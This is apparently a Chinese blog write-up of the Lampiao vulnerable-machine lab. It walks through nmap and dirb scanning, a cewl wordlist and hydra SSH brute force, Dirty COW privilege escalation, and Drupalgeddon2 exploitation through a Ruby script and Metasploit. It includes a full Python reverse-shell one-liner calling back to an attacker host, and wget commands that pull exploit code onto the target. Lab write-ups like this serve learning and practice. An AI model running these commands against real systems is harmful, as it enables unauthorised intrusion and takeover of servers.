【原创】项目二Lampiao
实战流程
1,nmap扫描C段
┌──(root㉿heiyu)-[/home/whoami]
└─# nmap -sP 192.168.186.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-24 03:34 EDT
Nmap scan report for 192.168.186.139 (192.168.186.139)
Host is up (0.00031s latency).
2,找到靶机,进行进一步扫描,发现目标计算机上有三个可用的开放端口22、80、1898端口
┌──(root㉿heiyu)-[/home/whoami]
└─# nmap -p- 192.168.186.139
3,信息枚举:http://10.211.55.9:1898/ -> Read more 发现改页面信息:
http://10.211.55.9:1898/?q=node/2
页面发现:
audio.m4a:语音获得用户名:tiago
qrc.png:图片二维码扫描获得信息,需要爆破
4,爆破网站目录
┌──(root㉿heiyu)-[/home/whoami]
└─# dirb http://192.168.186.139:1898
获得url:http://10.211.55.9:1898/robots.txt
继续枚举获得:http://10.211.55.9:1898/CHANGELOG.txt
发现是:Drupal 7.54, 2017-02-01
4、获取密码字典:cewl:通过爬行网站获取关键信息创建一个密码字典
cewl http://192.168.186.139:1898/?q=node/1 -w heiyu.txt
5、hydra爆破
hydra -l tiago -P heiyu.txt 192.168.186.139 ssh
先利用cewl来生成一份结合网站目标的社工性质的密码字典、不理解的可以搜索网上搜索cewl学习,然后九头蛇暴力破解得到用户密码:
[22][ssh] host: 10.211.55.9 login: tiago password: Virgulino
用户: tiago
密码: Virgulino
6、登录ssh
ssh tiago@192.168.186.139
发现是低权限用户!需要提权!
版本信息如下
7、提权
https://github.com/mzet-/linux-exploit-suggester
下载提权文件
proxychains wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
开启web服务
在目标服务器上下载les.sh文静
wget http://192.168.186.130:8081/les.sh
追加执行权限
chmod +x les.sh
执行文件后会列出可以用于该linux服务器上提权的方法
./les.sh
使用其中的脏牛提权
搜索kali自带的exploit
谷歌搜索40847的具体用法
https://www.exploit-db.com/exploits/40847
// EDB-Note: Compile: g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
// EDB-Note: Recommended way to run: ./dcow -s
把40847.cpp文件复制到poc中(因为这个文件夹开了网络服务)
┌──(root㉿heiyu)-[/home/whoami]
└─# cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/whoami/poc
目标机器下载40847.cpp
wget http://192.168.186.130:8081/40847.cpp
执行cpp文件,生成可执行文件heiyu
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o heiyu 40847.cpp -lutil
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o dcow gcc生成的目标文件,名字为dcow
执行gcc编译可执行文件,可直接提权。
执行heiyu
./heiyu
获得root的密码
Root password is: dirtyCowFun
重新链接ssh
┌──(root㉿heiyu)-[/home/whoami/poc]
└─# ssh root@192.168.186.139
root登录成功
获取flag成功
root@lampiao:~# cat flag.txt
9740616875908d91ddcdaa8aea3af366
思路拓展1--Xray一条龙
1、通过AWVS+xray跑出了poc:poc-yaml-drupal-cve-2018-7600-rce
那么Xray是给出了两篇poc的文章:
https://github.com/dreadlocked/Drupalgeddon2
https://paper.seebug.org/567/
通过文章查看,Drupalgeddon2有poc都是rb运行文件,下载!
proxychains git clone https://github.com/dreadlocked/Drupalgeddon2.git
安装模块,用来排错
sudo gem install highline
安装完highline后即可执行
./drupalgeddon2.rb http://192.168.186.139:1898/
脚本很强大,通过服务器7.54版本的漏洞,直接在网站的根目录写了个shell
此时已经获取的这个shell,正向shell
由于该shell不能执行g++,并且实战中有防火墙的原因,正向shell一般不稳定,因此尝试通过反弹shell获取链接
本机开启6666端口
目标机开启反弹shell脚本
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.130",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
获取反弹shell
补齐shell弹框
python -c 'import pty; pty.spawn("/bin/bash")'
下载提权文件
wget http://192.168.186.130:8081/40847.cpp
编译提权文件
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
执行提权可执行文件
./40847
拓展思路2-Metasplit
谷歌搜索:Drupal 7.54 exploit
# [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
msfconsole
使用exploit/unix/webapp/drupal_drupalgeddon2
显示条件信息
show options
set RHOSTS 192.168.186.139
set RPORT 1898
run
此时获取了了伪shell
进行shell的补齐
meterpreter > shell
python -c 'import pty; pty.spawn("/bin/bash")'
此时获取稳定shell
提权
上传提权文件,后面跟之前的方式一样
meterpreter > upload /home/whoami/poc/les.sh /tmp/
脑图
【原创】项目二Lampiao的更多相关文章
- Eclipse+Maven创建webapp项目<二> (转)
Eclipse+Maven创建webapp项目<二> 1.开启eclipse,右键new——>other,如下图找到maven project 2.选择maven project,显 ...
- Vue小项目二手书商城:(四)详情页和购物车(emit、prop、computed)
实现效果: 点击对应商品,对应的商品详情页出现,详情页里面还有“Add to cart”按钮和“×”退出按钮. 点击“Add to cart”可以将商品加入购物车,每件商品只能添加一次,如果把购物车的 ...
- Vue小项目二手书商城:(三)前端渲染数据
实现内容: axios取到的数据在前端使用(父子组件各自应该怎么使用) 一.简单使用(在哪取在哪用) 1.在App.vue中script中加上data(data专属于当前组件,父子组件传参通过prop ...
- Vue小项目二手书商城:(二)axios前后端数据交互
实现内容: 写路由接口(express) axios取数据 一.写接口 1.我们要在前端取到后端的数据(之前写的data.json)可以用vue-resourse或者用axios,在vue2之后官方就 ...
- Vue小项目二手书商城:(一)准备工作、组件和路由
本项目基于vue2.5.2,与低版本部分不同之处会在(五)参考资料中提出 完整程序:https://github.com/M-M-Monica/bukesi 实现内容: 资源准备(mock数据) 组件 ...
- Eclipse+Maven创建webapp项目<二>
Eclipse+Maven创建webapp项目<二> 1.开启eclipse,右键new——>other,如下图找到maven project 2.选择maven project,显 ...
- crm 系统项目(二) admin 后台操作表格
crm 系统项目(二) admin 后台操作表格 1. app下创建 templates 运行的时候 先找全局的templates——> 按照app的注册顺序找templates中的文件 2. ...
- 聊聊 Web 项目二维码生成的最佳姿势
在设计和实现的过程之后,你永远不知道部署上去的程序会已什么样的姿势运行. 本篇借一次生成二维码逻辑的不同实现,阐述 Web 项目中二维码生成的正确姿势. 文中如有批量,欢迎各位看客老爷拍砖.试运行前5 ...
- Android开源项目(二)
第二部分 工具库 主要包括那些不错的开发库,包括依赖注入框架.图片缓存.网络相关.数据库ORM建模.Android公共库.Android 高版本向低版本兼容.多媒体相关及其他. 一.依赖注入DI 通过 ...
随机推荐
- canvas系列教程07-canvas动画基础1
上面我们玩了一个图表,大家学好结构,然后在那个基础上去扩展各种图表,慢慢就可以形成自己的图表库了.也可以多看看一些国外的图表库简单的版本,分析分析,读代码对提高用处很大.我说了canvas两大主流用途 ...
- java中switch结构和 while for循环的用法
6.2 switch结构: 变量可以是:variable can be:(mark: tried, can not be long) char/int/short/byte(java1.7 就可 ...
- IO流入门+简单案例实现
IO流 总结内容 1. IO流是什么 2. 字符流和字节流 3. File常用API(前面类型为返回类型) 4. 编码转换 5. IO流实现流程 6. 输入输出流简单实现 7. 输入输出流简单实现 总 ...
- MySQL外键约束On Delete和On Update的使用
On Delete和On Update都有Restrict,No Action, Cascade,Set Null属性.现在分别对他们的属性含义做个解释. ON DELETE restrict(约束) ...
- 腾讯云服务nginx部署静态项目
一直想要搭建自己的blog,买了基础云服务器练手 文章内容是根据腾讯文档(https://cloud.tencent.com/document/product/213/2131)总结 部署静态页面归纳 ...
- springboot+springsecurity+mybatis plus注解实现对方法的权限处理
文章目录 接上文 [springboot+springsecurity+mybatis plus之用户授权](https://blog.csdn.net/Kevinnsm/article/detail ...
- Linux下安装Typora
系统:Ubuntu16.0 下载链接:https://www.typora.io/#linux 参考链接:https://www.cnblogs.com/wenkangzero/p/13202415. ...
- Bootstrap Blazor Table 组件(二)
原文链接:https://www.cnblogs.com/ysmc/p/16128206.html 很多小伙伴在使用 Bootstrap Blazor Table组件的时候,都会有这样的一个需求: 我 ...
- php实验一专属跳转博文
今天完成了php关于设计个人博客主页的实验一作业. 这是php实验一作业中博客的跳转链接页.
- IDEA小技巧:Markdown里的命令行可以直接运行了
作为一名开发者,相信大部分人都喜欢用Markdown来写文章和写文档. 如果你经常用开源项目或者自己维护开源项目,肯定对于项目下的README文件也相当熟悉了吧,通常我们会在这里介绍项目的功能.如何使 ...